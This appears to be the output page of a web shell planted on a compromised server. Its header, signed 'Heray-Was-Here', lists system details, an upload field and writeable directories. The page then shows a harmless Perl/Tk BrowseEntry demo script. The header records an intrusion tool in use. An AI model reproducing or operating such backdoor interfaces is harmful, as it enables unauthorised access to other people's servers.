Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-Tk/demos/widget_lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-Tk/demos/widget_lib/browseentry2.pl
# BrowseEntry, another example.
#
# Chris Dean <ctdean@cogit.com>

use strict;
use Tk;
use Tk::BrowseEntry;

my $top = new MainWindow( -title => "BrowseEntry 2" );
main( $top );
MainLoop();

sub main {
    my( $top ) = @_;

    my @countries = qw( America Belize Canada Denmark Egypt Fruitopia );
    my @states = qw( normal readonly disabled );
    foreach my $i (0..$#states) {
        my $state = $states[$i];
        my $var = $countries[$i];
        my $f = $top->Frame->pack( qw/-side left/ );
        my $be = $f->BrowseEntry( -variable => \$var,
                                  -choices => \@countries,
                                  -state => $state )->pack;
        if( $state eq "disabled" ) {
            $be->configure( -arrowimage => $f->Getimage( "balArrow" ) )
        }
        foreach my $s (@states) {
            $f->Radiobutton( -text => $s,
                             -value => $s,
                             -variable => \$state,
                             -command => sub {
                                 $be->configure( -state => $state ); }
                           )->pack( qw/-anchor w/ );
        }
        $f->Button( -text => "Print value", -command => sub {
                        print "$var\n" } )->pack;
    }
}

Hry